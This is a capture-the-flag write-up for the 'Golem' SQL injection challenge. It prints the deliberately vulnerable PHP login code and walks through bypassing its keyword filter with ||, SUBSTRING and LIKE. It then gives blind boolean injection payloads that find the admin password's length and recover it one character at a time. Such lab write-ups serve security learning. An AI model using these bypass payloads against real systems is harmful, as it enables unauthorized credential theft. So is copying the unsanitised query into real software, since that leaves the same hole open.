Golem
Blind-boolean based, enumerate password without using "OR", "AND", "SUBSTR", or "='
This challenge builds on the "Orge" challenge.
Code
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>Line 6: preg_match filters the the use of 'OR', 'AND', SUBSTR(, and "=".
Line 13: Query obtains a user-supplied value and assigns it to "pw",
Line 15: Then compares the user-supplied value to the "pw" value stored for the 'admin' user. If they are equal, the challenge will be solved.
Query
Testing
Vulnerable parameter is "pw".
Since the use of 'OR', 'AND', 'SUBSTR(', and '=' are prohibited, they be substituted with ||, &&, SUBSTRING, and LIKE, respectively.
pw=' OR id = 'admin' becomes:
pw=' || id LIKE 'admin' and returns "Hello admin" indicating a true statement.
Using "length"
The length of the string stored in "pw" can be derived using "length".
pw=' || length(pw) LIKE 1%23 returns nothing, indicating a false statement.
Incrementing the value sequentially eventually results in:
pw=' || length(pw) LIKE 8%23
which returns "Hello admin" indicating a true statement indicating the string is 8 characters long.
Using "SUBSTR"
By using "SUBSTRING" in place of "SUBSTR" the stored value can be guessed 1 character at a time.
pw=' || SUBSTRING(pw, 1, 1) LIKE 0%23
||: Logical operator 'OR'.SUBSTRING(pw, 1, 1) LIKE 0: This part is checking whether the first character of thepw(password) field is equal to 0.%23: This is URL-encoded#.
In order to derive the stored value, each character can be enumerated individually by checking if the character in each start position is equal to a character in the ascii printable charset.
This is a tedious process.
Previously it was discovered that the stored string is 8 characters long so the process will need to be done 8 times, once for each character.
Steps
Checking if the first character of stored value is equal to 7 pw=' || SUBSTRING(pw, 1, 1) LIKE 7%23 returns "Hello admin" : True
2nd character is equal to '7' pw=' || SUBSTRING(pw, 2, 1) LIKE 7%23
3rd character is equal to 'd' pw=' || SUBSTRING(pw, 3, 1) LIKE d%23
4th character is equal to '6' pw=' || SUBSTRING(pw, 4, 1) LIKE 6%23
5th character is equal to '2' pw=' || SUBSTRING(pw, 5, 1) LIKE 2%23
6th character is equal to '9' pw=' || SUBSTRING(pw, 6, 1) LIKE 9%23
7th character is equal to '0' pw=' || SUBSTRING(pw, 7, 1) LIKE 0%23
8th character is equal to 'b' pw=' || SUBSTRING(pw, 8, 1) LIKE b%23
Incrementing the start position as each character is guessed eventually reveals the value stored of 77d6290b.
Finally, the challenge is solved with: pw=77d6290b
Effective Query
Python Script
Last updated